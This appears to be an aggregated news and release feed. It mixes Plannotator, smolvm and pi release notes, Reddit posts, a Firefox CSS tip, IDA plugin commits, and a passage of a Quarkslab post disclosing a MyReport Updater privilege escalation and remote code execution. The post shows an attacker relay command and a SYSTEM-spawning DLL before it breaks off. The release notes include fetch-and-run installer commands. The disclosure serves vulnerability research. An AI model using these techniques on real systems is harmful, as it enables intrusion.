v0.28.9 | Large Inbox messages throughplannotator inbox mcpfixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
v0.28.5 | Several files in one review, theplannotatortool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleepWhat's New in v0.28.18
Until now an agent only used the Inbox if you had connected it by hand and told it when the Inbox was the right place. This release does both for you:
plannotator inboxconnects the agents it finds on your computer, and each agent is told, in a line or a short note, to bring you decisions and finished work there while you are away. Code review gets rendered Markdown views, started by @leostera in his first contribution. The rest is Inbox reading and navigation, a Settings page in sections, and a handful of fixes. 25 PRs in all, one from a first-time contributor.plannotator inboxconnects your agentsWhen you run
plannotator inbox(not--background, which is how agents start it), it now finds the agents on this computer that are not connected yet, connects them, and says so on the terminal:Connected Codex, Gemini CLI and Cursor to the Inbox (Claude Code was already on).Codex, Gemini CLI, Amp and Windsurf/Devin get their own
mcp add. Cursor, Kiro and the Claude desktop app get oneplannotator-inboxkey in their JSON config, and every other byte of that file stays as it was. Pi and OpenCode with Plannotator's extension or plugin get the inbox tool switched on, and Claude Code already has it through the plugin. Each entry runs<your plannotator binary> inbox mcp, and the agent uses it from its next session.A later run connects an agent you installed since, and names it once ("Connected Amp to the Inbox (new on this computer)"). An agent you turned off, or whose entry you removed, is never added back by itself, and an existing
plannotator-inboxentry that runs something else is never replaced.PLANNOTATOR_INBOX_CONNECT=0skips the step.plannotator uninstallremoves only the entries it recorded adding, and gives each JSON file back exactly as it was;--dry-runlists them first.Agents are told when to use it
Connecting an agent is half of it. The tool descriptions explained how to use the Inbox but never said when, so agents rarely reached for it unprompted. Four changes cover that:
- The tool and MCP text now say when. The person may not be watching; a decision only they can make goes in a
:::question, and the agent keeps working; finished long work goes with its files attached; ask in the chat when the person is there; never send routine progress.send_messageno longer tells agents whose reply arrives by itself to callwait_for_reply. We checked the wording against scripted agent runs across nine scenarios, including the two where the Inbox is the wrong choice. (#1876) - A one-line reminder at session start. Once you have run the Inbox, a session that has the inbox tool gets one fixed line: "Plannotator Inbox is on: when you finish long work, or need a decision the person isn't here to give, send it with plannotator_inbox send_message and keep going. Their reply comes back here." Claude Code and Pi get it once per session, OpenCode on each request. It never changes during a session, so it does not break the prompt cache. Turn it off with
inboxReminderin~/.plannotator/config.json. Claude Code also gets theplannotator_inboxtool before you have ever opened the Inbox: its first call starts the Inbox in the background, with no browser tab. (#1886) - A note in each agent's instructions, with your yes. The first time you open the Inbox after it connected your agents, a card asks once whether to add a short marked section to each agent's own instructions file (
~/.claude/rules/plannotator-inbox.md, Codex'sAGENTS.md,GEMINI.md, Pi's instructions file, and OpenCode'sAGENTS.mdonly when you already have one). It shows each file before writing. A note you edited is never overwritten, and removing a note gives the file back byte for byte.plannotator inbox --notes codex,geminidoes the same from the terminal. (#1889) - Settings β Agents. One group per agent found, with up to three switches: Reaches the Inbox, Reminder at session start, and Note in its instructions. A change applies to that agent's next session. Agents not found fold under "Not found on this computer", with the command or link to connect each by hand. (#1889)
The
plannotatorskill's Inbox section is now short and points agents atplannotator inbox --helpfor the details, which keeps the skill from drifting out of date (#1887). And an OpenCode 2 bug that shut down the Inbox reply wake's event subscription at setup is fixed: the wake leaned on a fallback, and where that fallback failed, a reply never reached an idle session (#1891).Rendered Markdown in code review
A Markdown file in a code review used to be readable only as a line diff. Each Markdown file now has a view menu in its header with three choices: Source (the line diff, as before), Changes (the rendered document with added, removed and changed sections marked, unchanged runs folded and source lines in a gutter) and Read (the whole new version rendered, with no diff marks). A view you pick becomes the starting view for every other Markdown file you have not set by hand, and is remembered for the next review.
Psteps the current file through the views.Select text in a rendered view to comment on it. The comment is a file comment that carries the quoted text, so the agent sees exactly what you meant, and the export, the sidebar and a PR review all show the quote. Images load from the revision on screen. In a PR review, remote images wait behind "Load remote images", so opening someone else's Markdown does not tell a tracking pixel your address. Mermaid and Graphviz fences show as code here, which keeps the review page as light as it was.
@leostera wrote the first version, a Preview/Diff toggle for Markdown files, as his first contribution, and it grew into the menu above during review.
Reading in the Inbox
- A new message in the thread you have open counts as seen. Before, a message that arrived while you were reading stayed bold and "new" even though it was right in front of you. It now counts as seen once its first lines have been on screen for a second, while the tab is visible, the window has focus and nothing covers the thread. At the end of the thread the view scrolls just far enough to show it; elsewhere, the "β N new" pill counts it. Screen readers hear "New message from ". (#1890)
- The row you open stays put. Opening a New row used to send it to the folded Quiet section a moment after the click, taking keyboard focus with it. While a thread is open, the list's rows no longer move. When you close the thread, the list settles into place with a short slide (none under reduced motion), and agent activity that arrived while you read waits behind "N new Β· Show". (#1875)
- A way back to the list with a file open. With a file open beside a thread, the list and sidebar are hidden, and the first control at the top left was Archive. The thread header now leads with
βΉ Inbox(or the project's name), which closes the file and brings the list back with focus on the thread's row. The reply box's chips also wrap in that narrower column instead of spilling out. (#1871, #1881) - Attachments in the message header. A message with files shows "π 3 attachments Β· 1 changed" in its sender line. Click it to see the tiles right under the sender, without scrolling to the end of a long message. (#1869)
Inbox Settings, archived threads, and light or dark
- Settings in sections. Settings is now a page with General, Agents, Devices, Archived, Storage and About, each at its own address (
#settings/agents). General holds the theme, notifications and the sound; Devices holds Over your tailnet; About holds the version and updates. The sidebar steps aside while Settings is open. Old#settingslinks still land. (#1883) - Archived threads leave the list. They used to sit in Quiet with everything you had merely read. They now live in Settings β Archived, newest first, with Unarchive , which opens the thread back in the list. If an agent writes in an archived thread, the thread comes back to the list while something waits on you, you can answer without unarchiving it, and it goes back to Archived once handled. (#1874)
- Light and dark. A sun or moon button at the right end of the sidebar's Settings row flips the theme; Settings β General has Light, Dark and Match system. It is the same preference plan review, code review and annotate use, so a choice in one carries to the others. (#1878)
- The Decisions page's project switch shows counts. The plain dropdown is now a list that shows each project's folder and how many decisions are waiting and settled. (#1873)
Quotes render as one quote
A block quote with blank
>lines, a code fence or a list inside it was split into one quote per line: the bar broke into segments, fences showed as literal backticks, and the code read as prose. A run of>lines is now one quote, with real code blocks, lists and nested quotes inside it. This applies to plan review, annotate and the Inbox.Two changes you might notice. A line like
#Title(no space after#) is no longer a heading, following CommonMark and GitHub, so#123at the start of a line keeps its issue link. And in a plan diff, an edit anywhere inside a quote that holds a code fence shows the whole quote as changed.The
plannotatortool is on by default in Oh My PiWhen our Pi extension runs inside Oh My Pi, the
plannotatoragent tool is now on by default. Oh My Pi lists an extension tool as one short line and loads its schema only when needed, so the tool costs about 50 tokens there, against about 780 on every request in plain Pi. Plain Pi and OpenCode 2 stay off by default.PLANNOTATOR_AGENT_TOOLandagentToolin config.json still override it either way.- #1870, following #1814 from @tedtramonte
Additional changes
- Long question choices can be picked. A choice longer than 200 characters was refused in the Inbox ("is not one of the question's choices"), and in plan review the pick saved but never showed. Both work now, and answers saved by older builds show their pick again. (#1888)
Stopped: nois not a stop. An agent that filled inStopped: no,noneorn/aput its thread in "Stopped on you". A bare negative word is now read as no stop, onHolds up:too. Threads already listed that way stay where they are. (#1877)- Mark read fixes. The note Mark read sends the agent no longer counts as your reply, so news that arrives after a Mark read shows as New. Mark read on an archived thread that came back sends it to Archived as the toast says. Undo reopens only the questions that Mark read closed. These were found by a new model of the Inbox's thread states, checked against the store after every step. (#1882, #1884)
- The annotation toolstrip stays on top. In the Inbox's file view, scrolling put the document over the Select / Pinpoint / Markup toolstrip, and over the stepping bar's file list. (#1880)
- jj reads file paths literally. In a jj review, a file whose name contains
|,~or quotes was read as a fileset expression, so the review could show another file's contents. (#1879)
Install / Update
macOS / Linux:
curl -fsSL https://plannotator.ai/install.sh | bashWindows:
irm https://plannotator.ai/install.ps1 | iexClaude Code Plugin: The plugin and the
plannotatorbinary update separately, so run the install script above as well. In a terminal:claude plugin marketplace update plannotator claude plugin update plannotator@plannotatorThen restart Claude Code. Inside Claude Code, run
/plugin marketplace update plannotator, then open/pluginβ Installed β plannotator β Update now.Pi:
pi update --extensionsOpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
What's Changed
- Inbox: attachments in the message header by @backnotprop in #1869
- Pi extension: the plannotator tool is on by default in Oh My Pi by @backnotprop in #1870
- Quotes: one quote per run of
>lines, with code fences and lists inside by @backnotprop in #1868 - Inbox: a way back to the list while a file is open beside the thread by @backnotprop in #1871
- Inbox: tell agents when to use it (eval-backed instruction text) by @backnotprop in #1876
- Inbox: a project switch on the Decisions page that shows each project's counts by @backnotprop in #1873
- Inbox: light/dark toggle on the Settings row, and a Theme row in Settings by @backnotprop in #1878
- Inbox: archived threads leave the list for a Settings panel with Unarchive by @backnotprop in #1874
- Inbox: the reply box's skip chip wraps inside itself at any width by @backnotprop in #1881
- Inbox: a bare negative word on Stopped: or Holds up: is no stop by @backnotprop in #1877
- Inbox: keep the annotation toolstrip above the attached document by @backnotprop in #1880
- Inbox: the thread-state model, checked against the store, with trace fixtures by @backnotprop in #1882
- Inbox: the row you open stays put; the list settles when the thread closes by @backnotprop in #1875
- Inbox: fix the thread-state model's violations A, B and C by @backnotprop in #1884
- Questions: a choice longer than 200 characters can be picked by @backnotprop in #1888
- Inbox: Settings in sections by @backnotprop in #1883
- Skill: a short Inbox section that points at plannotator inbox --help by @backnotprop in #1887
- Inbox: a new message in the thread you have open counts as seen on sight by @backnotprop in #1890
- Review: add rendered Markdown previews by @leostera in #1879
- Inbox: plannotator inbox connects the agents on this computer by @backnotprop in #1885
- OpenCode 2 Inbox wake: keep the event subscription when the tool transform is lazy by @backnotprop in #1891
- Inbox: a one-line reminder at session start, and Claude Code's Inbox tool before the first run by @backnotprop in #1886
- Inbox: the note in each agent's instructions, the first-open card, Settings β Agents by @backnotprop in #1889
- Inbox: seen-on-sight DOM test no longer depends on wall-clock time by @backnotprop in #1892
- Inbox: a restart from an older Inbox never connects agents by @backnotprop in #1894
New Contributors
Contributors
@leostera built rendered Markdown previews for code review (#1879), his first contribution to the project. His Preview/Diff toggle, with the full document rendered through the shared Markdown renderer, is the base the Source / Changes / Read views grew from.
@tedtramonte reported in #1814 that Ask this session was missing in Oh My Pi and confirmed the fix. Making the
plannotatortool default to on in Oh My Pi (#1870) is a follow-up to that report.Full Changelog :
v0.28.17...v0.28.18 - The tool and MCP text now say when. The person may not be watching; a decision only they can make goes in a
-
π r/LocalLLaMA Is everyone in here buying up smart TVs now? rss
| Anthropic says we can run Gemma4 26b a4b with only 14 smart tvs. submitted by /u/SporksInjected
[link] [comments]
---|--- -
π r/LocalLLaMA It's been too quiet on the other side of the Pacific rss
| submitted by /u/Nunki08
[link] [comments]
---|--- -
π r/LocalLLaMA Anyone feel like reverse-engineering CUDA? rss
I've been reading about all these modders using AI to reverse-engineer games and software. I've been trying out photocraft and gridcraft and have just watched a GTA5 mod featuring Sonic. It's pretty damn impressive.
As a struggling AMD Radeon owner I'd love to see AI generated open source CUDA implementation.
Not only do I dislike NVIDIA, but there's delicious irony in using CUDA cores to do it.
Anyone up for the challenge?
submitted by /u/Odd-World4925
[link] [comments] -
π smol-machines/smolvm smolvm v1.27.3 release
What's Changed
- Preserve macOS machine layer mounts across peer operations by @kcosr in #1738
- Clean up after an SDK machine delete the way the CLI does by @BinSquare in #1746
- Return 409 for branching a machine that was not started branchable by @BinSquare in #1748
- Hand a named machine's layers lease to its VMM by @BinSquare in #1747
- Shut a VM's guest down cleanly when its owner process exits by @BinSquare in #1749
- Fix guest stalls on machines booted from a pack under heavy file and mmap load by @BinSquare in #1743
- Bump version to 1.27.3. by @BinSquare in #1751
New Contributors
Full Changelog :
v1.27.2...v1.27.3 -
π r/LocalLLaMA Anthropic is doing free publicity for GLM again rss
| https://www.anthropic.com/research/distillation-defenses submitted by /u/No-Point1424
[link] [comments]
---|--- -
π Ampcode News Take Puck with You rss
You can now talk to Puck from ChatGPT, Claude, and other agents via MCP.

After developing an idea with ChatGPT's voice mode on a walk, send it directly to Puck for implementation. Puck knows your projects in Amp and routes it to the right orb. In the same conversation, you can check in on your work in Amp directly from ChatGPT.
Puck MCP offers two tools:
puckfor interacting with your Puck in Amp, andorbsfor showing an interactive view of your running orbs with links to their portals.You're talking to the same Puck you use in Amp. It can look through your threads, find earlier work, and coordinate your agents.
To connect, open Settings > Puck. Click Add to Claude, or copy
https://ampcode.com/mcpinto ChatGPT or another MCP client, then sign in with your Amp account.
See Use Puck in Other Apps for details.
-
π muffinman Show page titles on Firefox's pinned tabs rss
I love vertical tabs. I used Tree Style Tab for years, then switched to Sidebery and recently to Firefox's native vertical tabs. I like them, but I was annoyed how pinned tabs looked. By default they are collapsed, side by side, with only their favicon visible:

Luckily, there is a way to change that by adding some custom CSS. After applying it, my tabs looked like this:

CSS
I couldn't find an existing snippet anywhere, and it took me some trial and error to get it right. Here is the CSS. I hope you find it useful.
/* Show title */ #pinned-tabs-container[orient='vertical'] .tab-label-container { display: flex !important; margin-right: 1.5rem; } /* Change tabs layout to be stacked under each other */ #pinned-tabs-container[orient='vertical'] { --pinned-slot-display: block; } slot[part~='items-wrapper'] { display: var(--pinned-slot-display, flex) !important; } /* Remove extra vertical padding */ #pinned-tabs-container > .tabbrowser-tab { padding-block: 0 !important; } /* Move the green status dot to the right */ #pinned-tabs-container .tab-content:is([titlechanged], [attention]) { background-position: right 1.25rem center !important; } /* Make space for the green status dot */ #pinned-tabs-container .tab-icon-stack { margin-inline: 0.5rem; }Tested on Firefox 157 on macOS.
How to use userChrome.css
To customize Firefox's UI via CSS, you'll need the following:
- In Firefox, open the
about:profilespage and open your profile's Root Directory in your file manager. - Inside your profile folder, create a folder named
chrome. - Inside it, create
userChrome.css(if it doesn't already exist). - Add your custom CSS to it.
- Open
about:config, findtoolkit.legacyUserProfileCustomizations.stylesheetsand set it totrue. - Restart Firefox.
If you need more details, there is a great website that explains it in detail.
- In Firefox, open the
-
- October 12, 2026
-
π IDA Plugin Updates IDA Plugin Updates on 2026-10-12 rss
IDA Plugin Updates on 2026-10-12
New Releases:
Activity:
- efiXplorer
- 9e3b40a2: chore: update guids submodule (#150)
- ida-free-mcp
- mcrit-plugin
- 1fdb120f: Merge pull request #40 from r0ny123/binja-match-graph-requests
- 1a334183: Merge main into binja-match-graph-requests
- 173b1e4d: Merge pull request #37 from r0ny123/binja-chunked-labels
- 6657f1e5: Merge main into binja-match-graph-requests
- 4ebd1033: Merge main into binja-chunked-labels
- 3e043456: Merge pull request #24 from familiary/dependabot/github_actions/actioβ¦
- bfb0dab1: Continue a stopped label fetch with the next click
- 906fc0b3: Merge pull request #34 from r0ny123/mcrit-connection-reuse
- 2006e57c: Merge main into binja-chunked-labels
- 6939992a: Merge main into mcrit-connection-reuse
- e619f5d8: Merge pull request #35 from r0ny123/binja-native-tasks
- ce4a626a: Merge main into binja-native-tasks
- d03d8fe6: Merge main into mcrit-connection-reuse
- 65382db3: Merge pull request #33 from r0ny123/binja-label-fetch
- d90e9257: Merge main into binja-label-fetch
- 3a987baa: Merge pull request #30 from r0ny123/follow-ups
- 1a993185: Merge main into follow-ups
- c816fea1: Merge pull request #31 from r0ny123/binja-ui-thread
- PatternScanner
- 9456e1c3: Fix review findings: X docs, bounded parsing, no-exceptions buildsβ¦
- 7d813d43: Merge pull request #12 from scizzydo/arm-instructions
- 0350b45b: Fix ? wildcards in register-offset and bare-? loads; /d chain past FPβ¦
- c5c72cb9: Encode the remaining arm64 instructions with full wildcard support
- f08a8935: Simplify README; move detailed docs to docs/
- 767a9b31: Merge pull request #4 from scizzydo/scanner-overhaul
- d4dc2a5b: test_arm: NOPs inside an ADRP chain
- f4bd686c: Fix arm64 encodings and /d decoding, nibble wildcards, plugin crash
- b6136478: Encode arm64 B.cond, CMP/CMN/TST, AND/ANDS/EOR, byte/half/unscaled loβ¦
- 37710660: Encode arm64 STP and MOV; warn about unsupported lines in the IDA plugin
- 3b2a1b35: CI: library tests only
- 92b19baf: Add CI: library tests and IDA plugin build on Windows and macOS
- 480c303d: test_artifacts: scan every pattern from one function, add LTO builds
- 10006c5f: Share the pattern parsers; test for compile-time leftovers in binaries
- 61da3339: Add IDA plugin: search databases with PatternScanner patterns
- efiXplorer
-
π smol-machines/smolvm smolvm v1.27.2 release
What's Changed
- Bump the Nix package to 1.27.0 by @BinSquare in #1728
- Share one extraction across concurrent SDK checkpoint restores by @BinSquare in #1727
- Let machine update replace the egress allow list exactly with --reset-allow-list, and show the list in machine ls and status JSON by @BinSquare in #1731
- Fetch a registry image on the host whenever the guest's network cannot reach the registry, not only when it has none by @BinSquare in #1732
- Fetch a cache disk base over parallel ranged requests and share one fetch among concurrent creates by @BinSquare in #1733
- Name GHCR's blob host in registry_pull_hosts so an allow list built from it can pull ghcr.io images in-guest by @BinSquare in #1734
- Let a machine with staged mounts be branched: the branch keeps the working copies and never synchronizes them back by @BinSquare in #1736
- Bump quinn-proto to 0.11.19 for RUSTSEC-2026-0338 through 0342 by @BinSquare in #1742
- Bump version to 1.27.2. by @BinSquare in #1730
Full Changelog :
v1.27.1...v1.27.2 -
π earendil-works/pi v1.2.0 release
New Features
- Per-key OpenRouter model lists : with an OpenRouter key, Pi lists only the models that key may use, with the key's context size, max output, and prices, including regional endpoints set in
models.json. See OpenRouter. - Published configuration schemas : add
$schematosettings.json,models.json, keybindings, and themes for editor validation and completion. See Settings, Models, Keybindings, and Themes. - Clipboard copies over remote sessions :
PI_CLIPBOARD_OSC52=1sends copied text to a remote client's clipboard when Pi cannot detect the remote session, such as a multiplexer attached from another machine. See Pi Process Configuration. - Codemode improvements : tool declarations show input constraints such as integer, minimum/maximum, and default, and codemode rows show elapsed and total time. See Codemode.
before_agent_startfor extension-triggered runs: runs started bypi.sendMessage(..., { triggerTurn: true })go through the same setup as prompts. See Events and concurrency.
Breaking Changes
- Published generated configuration schemas for models, settings, keybindings, and themes at
https://pi.dev/schemas/*.schema.json. The theme schema moved tohttps://pi.dev/schemas/theme.schema.json; themes loaded during startup now receive the same schema validation as later reloads. Update theme$schemareferences, define reusable colors undervars, and remove unsupported metadata (#9880, #10751 by @christianklotz) - Changed
before_agent_startto also fire for runs started bypi.sendMessage(..., { triggerTurn: true })while idle.BeforeAgentStartEventis now a union onmessageType:"user"events carrypromptandimages, and"custom"events carry the startingmessageand noprompt. Messages returned by handlers are added to both kinds of run, and pendingdeliverAs: "nextTurn"messages are delivered with the custom-message run. Handlers that should act only on user prompts must checkevent.messageType === "user"(#10267, #5581, #10739 by @davidbrai) - Changed the session to count as busy while a run starts, including during
before_agent_starthandlers:ctx.isIdle()is false,pi.sendMessage()queues into the starting run instead of starting a second run that failed with "Agent is already processing",pi.sendUserMessage()requiresdeliverAs, and an abort requested meanwhile aborts the run once it starts (#10739 by @davidbrai) - Changed
pi mcp list --jsonto reportresources: truefor servers that offer resources instead ofresourcesandresourceTemplatescounts; Pi no longer lists resources when connecting (#10526)
Added
- Added
reachesToolsto tool definitions, so tools that reach other tools (such ascodemodeandtool_search) declare which tools a call may reach; the MCP extension uses it to wait for the servers a call needs and to decide whether a replacementcodemodeortool_searchtool can reach MCP tools - Added
aliasesto tool namespaces; codemode'sdescribeNamespace()and thenamespaceoption ofsearchTools()match them, and MCP namespaces use the server name - Added per-key OpenRouter model lists: with an OpenRouter key, Pi lists only the chat models that key may use, with the key's context size, max output, and prices, including guardrails and regional endpoints set as the base URL in
models.json. The list is saved and used offline (#10353, #10672 by @davidbrai) - Added
PI_CLIPBOARD_OSC52=1to send copied text to the terminal with OSC 52 after the local clipboard write, so copies reach a remote client's clipboard when Pi cannot detect the remote session, such as multiplexer attaches from another machine or remote IDE daemons (#10826, #10835, #10114) - Added elapsed time while a codemode script runs and its total time once finished to the codemode tool row, like bash rows (#10708)
Changed
- Changed the
showHardwareCursorsetting to use only the terminal cursor instead of also drawing Pi's reverse-video cursor - Changed codemode tool declarations to show input constraints such as integer, minimum/maximum, length, pattern, and default as
@tags on property comments, so scripts see them without the tool repeating them in descriptions (#10707) - Changed codemode declarations of MCP tools to spell out the result type (
content,structuredContent,isError) instead of referring toCallToolResult<T>, whichdescribeTool(),searchTools(), andALL_TOOLSshowed without defining it; the codemode description no longer includes the shared MCP types - Changed
serializeConversation()(compaction, branch summaries, bug reports) to omit thinking blocks; replayed thinking is often not in the live context, so including it could make a summarization request larger than the context it summarizes and fail
Fixed
- Fixed codemode ignoring a
// @options:line that is not the first line of the script, which ran the script without the requestedtimeout_ms; the call now fails with an error before the script runs (#10631) - Fixed Mistral streams being aborted mid-generation (e.g. during long thinking) after the request timeout; the timeout now applies only to waiting for response headers (#10609)
- Fixed a symlinked
AGENTS.mdin a git worktree nested inside its main repo causing no project context file to load (#10681) - Fixed the code mode tool description claiming every failed tool call rejects; a tool that declares an output schema resolves with its value on failure too (e.g.
bashwith a nonzero exit) - Fixed runs started by
pi.sendMessage(..., { triggerTurn: true })removing system prompt sections added inbefore_agent_startafter their first tool call, which changed the prompt mid-run and broke the provider prompt cache twice per run (#10267, #10739 by @davidbrai) - Fixed codemode blocking the process for seconds to minutes after scripts with many
text()calls; joining the output items was quadratic (#10678) - Fixed print mode (
-p) exiting 0 without a warning when the final response was cut off at the model's output token limit; it now prints the partial text, writes a warning to stderr, and exits 1 (#10799) - Fixed
pi mcp login --helpand the CLI docs describing--timeoutas only the wait for the browser; it limits the whole sign-in (#10636) - Fixed
~not being expanded in!pattern,+path, and-pathentries of theextensions,skills,prompts, andthemessettings, so entries like!~/skills/pdfmatched nothing (#10765) - Fixed MCP servers with resources registering no tools until every resource was listed; Pi no longer lists resources when connecting, so
/mcpandpi mcp listshow that a server offers resources instead of counting them (#10526) - Fixed MCP tool calls failing when the server returns structured content that is not an object (an array,
null, or a primitive, as MCP 2026-07-28 allows); codemode declarations of MCP tools without an output schema now typestructuredContentasunknowninstead of an object (#10416) - Fixed reading or writing
auth.jsonon Windows failing withEPERMwhen the previous lock folder was still being deleted; Pi now retries briefly before reporting the error (#10801) - Fixed OpenRouter router models such as
openrouter/autoshowing a cost of -$1,000,000 per 1M tokens; OpenRouter's negative placeholder prices are now 0 (#10672 by @davidbrai) - Fixed Anthropic requests failing when the provider rejects the strict tool set for grammar size, tool count, or union limits; Pi now retries once with preferred tools non-strict (#10409)
- Fixed "The upstream provider returned an error" not being retried as a transient provider error (#10842)
- Fixed focused fullscreen overlays blocking mouse-wheel scrolling of the transcript (#10769)
- Fixed fragmented terminal color replies leaking hex values into the prompt and opening the external editor (related reports: #10256, #10657)
- Fixed inline images not rendering in Herdr since 1.1.0 (#10774 by @ogulcancelik)
- Fixed key bindings that name a shifted symbol, such as
+orctrl++, not matching under the Kitty keyboard protocol or modifyOtherKeys (#9880 by @christianklotz) - Fixed the compaction status indicator embedded in a custom editor using the default muted colors instead of the editor border or thinking-level color, as the working indicator does (#10809, #10810 by @Jay-Madden)
- Fixed MCP tool calls that were cancelled or timed out while waiting for an OAuth refresh still being sent to the server once the refresh finished (#10598)
- Fixed MCP OAuth sign-in accepting an authorization response with an
issparameter that could not be checked because no authorization server metadata was discovered; sign-in now fails with an issuer mismatch. Reported by @AizenvoltPrime - Fixed codemode failing with a broken bridge error when Pi runs under
node --watchon Node 24 or 26 (#10725)
Removed
- Removed the unreleased experimental server, client, and plugin stack (
src/experimental,src/cli/experimental) and its source-only./clientand./experimental/pluginexports; none of it was part of the published package. The@earendil-works/pi-client,@earendil-works/pi-protocol, and@earendil-works/pi-serverpackages it used are removed and no longer released - Removed the dependency on
@earendil-works/chord
- Per-key OpenRouter model lists : with an OpenRouter key, Pi lists only the models that key may use, with the key's context size, max output, and prices, including regional endpoints set in
-
π Quarkslab's blog MyReport Updater: From gRPC to SYSTEM rss
Introduction During an assumed breach assessment, we were in a position where we had to find a way to elevate our privileges on a Citrix server. And what's the easiest way to do that on an up-to-date server? ~~Find a Windows 0day with Claude~~ Take a look at third-party applications running on the target! The application "My Report Updater" quickly got our attention: a user-level manager communicates over gRPC with a service running as LocalSystem. A service that downloads modules and writes them to disk. This is a good place to look for bugs. I reviewed version 2.1.1 in a Windows environment. The service accepted gRPC requests on TCP port 9095. The manager could select a reference server and an installation directory. I ended up with the following chain: Point "MyReport Updater" at an attacker-controlled reference server. Provide a modified "MyReport module" archive. Return the MD5 value and file size expected for that modified archive. Ask the LocalSystem service to install the archive in a chosen directory. Place a DLL where a privileged process loads it. The result in the tested environment was code execution as NT AUTHORITY\SYSTEM. While testing the chain, I found that the gRPC service listened on all interfaces and I could call its UpdateConfigReferent method from another host without authentication. The request changed the reference host, port, and operating mode of the target. This post goes through findings and exploitation for both LPE and RCE vulnerabilities. TLDR: An LPE and an unauthenticated RCE have been found. Pre-requisites for RCE are network access to TCP port 9095 and egress traffic from the updater to the attacker-controlled infrastructure. Description MyReport is a Business Intelligence platform that centralizes data, automates reporting, and creates dashboards for analysis and decision-making. It was installed in Managed mode on the Citrix server available during the assessment. The solution includes the main software, an updater, and several modules. The modules can be installed with MyReport Updater. The official description of MyReport Updater states that its goal is to make MyReport deployment and updates easier. It contains: a Windows service named MyReportUpdaterService, running as LocalSystem; an Updater Manager application used to control the service from a GUI or command line; a MyReport Updater.msi file used to install these components. The analysis showed that UpdaterManager.exe communicates with MyReportUpdaterService over gRPC on TCP port 9095. The configuration can be changed to use any reference server. This server contacts the MyReport servers and forwards updates. MyReport Updater architecture in Managed mode. Impact An attacker with standard user privileges can set an arbitrary reference server. If MyReportUpdaterService can contact this server over gRPC on TCP port 9095, the attacker can write files into a chosen directory with NT AUTHORITY\SYSTEM privileges. The attacker can use this file-write access to place a DLL that will be loaded by a privileged process. The DLL code is then executed with high privileges. This vulnerability gives full control of the Citrix server. It can also affect other machines where the vulnerable MyReport solution is installed. SYSTEM is the highest local privilege level on Windows. Exploitation We created a proof of concept on the Citrix server. The proof changes the reference server to one controlled by the attacker, bypasses the integrity checks for downloaded files, and writes files into an arbitrary directory. The proof was developed and tested against "MyReport Updater" version 2.1.1. Updater Manager version. We first installed MyReport in a local virtual machine. This allowed us to monitor the actions performed by the solution. The MyReportUpdaterService service runs as LocalSystem, also displayed as NT AUTHORITY\SYSTEM on an English Windows system. The service runs as NT AUTHORITY\SYSTEM. The service listens on TCP port 9095. The service listens on TCP port 9095. The UpdaterManager.exe and UpdaterManagerDesktop.exe processes communicate with TCP port 9095. Network traffic between the updater and the service. Wireshark identified the traffic as gRPC. gRPC traffic identified with Wireshark. The UpdaterService.exe process communicates over TCP port 443. TLS requests contain the updater.myreport.fr domain in the Server Name Indication field. TLS packet containing updater.myreport.fr in the SNI field. These observations show that programs running with standard privileges communicate with a service running with high privileges. The service also sends HTTPS requests to a vendor server. Module installation actions are started from UpdaterManager.exe, but the service downloads the files and writes them to the system. The service installs the module files. The following programs communicate with the privileged service: C:\Program Files (x86)\MyReport\MyReport Updater\manager\UpdaterManagerDesktop.exe, the GUI; C:\Program Files (x86)\MyReport\MyReport Updater\manager\UpdaterManager.exe, the CLI. The CLI provides more features than the GUI. For example, it can change the client mode to Referent, Customized, Managed, or UnManaged. This changes how installation packages are retrieved. This feature is restricted in the GUI, but not in the CLI. Changing the configuration and reference server. The exploitation scenario is: Change the reference server on the Citrix machine to a server controlled by the attacker. Download and modify the MyReport installation files. Serve updates containing arbitrary code. Internet traffic to TCP port 9095 was blocked in the tested environment. Internal traffic to this port was not blocked. We could run commands on the internal machine XXXXXX29, so we used it as a relay with this rule: netsh interface portproxy add v4tov4 listenport=9095 listenaddress=192.168.23.180 connectport=80 connectaddress=X.X.X.X All traffic received on TCP port 9095 of the relay was forwarded to a server controlled by us on TCP port 80. This traffic was then forwarded again to a virtual machine running MyReport in Referent mode. Internet traffic to TCP ports 80 and 443 was allowed from the relay machine. The MyReport configuration was changed to replace the existing reference server with the relay machine. At this point, no option was available to change the reference-server port, so the relay was required. The port was changed later with a custom gRPC request. This is described in Remote code execution. That method removes the need for the internal relay and bypasses the internal firewall restriction used in the first proof. The reference server was changed to the relay machine. We then downloaded the ZIP archives containing the MyReport modules. PS C:\ProgramData\MyReport\Updater\Downloaded> updatermanager.exe add --products administrator --version 6.0.0 --serverPlatform x64 PS C:\ProgramData\MyReport\Updater\Downloaded> dir *6.0.0* Directory: C:\ProgramData\MyReport\Updater\Downloaded Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/20/2025 5:56 PM 90624414 Administrator.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 90618677 Administrator.6.0.0.AnyCPU.zip.back -a---- 10/20/2025 4:58 PM 79350416 Builder.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 3918325 BuilderAddIn.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:59 PM 3918492 BuilderAddIn.6.0.0.x86.zip -a---- 10/20/2025 4:59 PM 168894332 Center.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 83223602 Data.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 67596139 Datarun.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 69279419 Messenger.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:59 PM 45836173 MyReport.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 74031349 Page.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 213429259 Server.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:59 PM 213382345 Server.6.0.0.x86.zip We modified Administrator.6.0.0.AnyCPU.zip and added HID.dll at the root of the archive. The payload was added to the ZIP archive. When loaded, the DLL checks whether the current user is NT AUTHORITY\SYSTEM by comparing its SID. If the check succeeds, it starts cmd.exe. // Launches cmd.exe if loaded into a process running as SYSTEM. #include "pch.h" #include <memory> void 